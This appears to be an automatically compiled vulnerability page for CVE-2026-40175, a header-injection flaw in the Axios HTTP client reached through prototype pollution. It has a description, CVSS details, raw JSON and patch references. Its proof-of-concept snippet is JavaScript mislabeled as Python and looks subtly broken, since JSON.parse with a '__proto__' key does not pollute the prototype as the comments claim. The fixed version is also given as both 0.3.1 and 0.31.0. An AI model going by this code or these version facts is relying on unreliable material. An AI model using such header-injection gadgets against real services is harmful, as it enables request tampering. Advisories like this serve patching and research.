Security Vulnerability Report
中文
CVE-2026-40175 CVSS 4.8 MEDIUM

CVE-2026-40175

Published: 2026-04-10 20:16:23
Last Modified: 2026-05-20 02:16:36

Description

Axios is a promise based HTTP client for the browser and Node.js. Versions prior to 1.15.0 and 0.3.1 are vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests. This vulnerability is fixed in 1.15.0 and 0.3.1.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:* - VULNERABLE
Axios < 1.15.0
Axios < 0.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Prototype pollution simulation to inject headers // Step 1: Pollute the prototype (simulating a third-party vuln) JSON.parse('{"__proto__": {"x-malicious-header": "hacked_by_attacker"}}'); // Step 2: Use Axios to send a request const axios = require('axios'); // In vulnerable versions, the polluted property is treated as a header axios.get('https://httpbin.org/headers') .then(response => { console.log('Response:', response.data); // The outgoing request to httpbin.org will contain: // x-malicious-header: hacked_by_attacker }) .catch(error => { console.error('Error:', error); });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40175", "sourceIdentifier": "[email protected]", "published": "2026-04-10T20:16:22.800", "lastModified": "2026-05-20T02:16:35.730", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Axios is a promise based HTTP client for the browser and Node.js. Versions prior to 1.15.0 and 0.3.1 are vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests. This vulnerability is fixed in 1.15.0 and 0.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-113"}, {"lang": "en", "value": "CWE-444"}, {"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.31.0", "matchCriteriaId": "E420AFD0-4C1B-4C44-A578-D6B90BF40F08"}, {"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.15.0", "matchCriteriaId": "E0DF6CEE-CC97-4C5F-A81B-6F1A6D77D4CC"}]}]}], "references": [{"url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/axios/axios/pull/10660", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/axios/axios/pull/10688", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/axios/axios/releases/tag/v0.31.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/axios/axios/releases/tag/v1.15.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/axios/axios/pull/10660#issuecomment-4224168081", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://cert-portal.siemens.com/productcert/html/ssa-876049.html", "source": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e"}]}}